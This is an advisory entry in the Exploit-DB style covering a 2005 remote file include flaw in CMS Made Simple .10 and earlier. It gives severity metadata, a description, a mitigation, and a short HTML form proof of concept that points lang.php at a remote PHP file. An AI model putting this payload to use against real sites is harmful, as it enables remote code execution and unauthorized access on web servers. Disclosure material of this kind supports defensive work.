CMS Made Simple Remote File Include Vulnerability

vendor:

CMS Made Simple

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: CMS Made Simple

Affected Version From: CMS Made Simple Version .10 and all prior versions

Affected Version To: CMS Made Simple Version .10 and all prior versions

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

CMS Made Simple Remote File Include Vulnerability

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14709/info

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

CMS Made Simple Version .10 and all prior versions are reported vulnerable. 

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF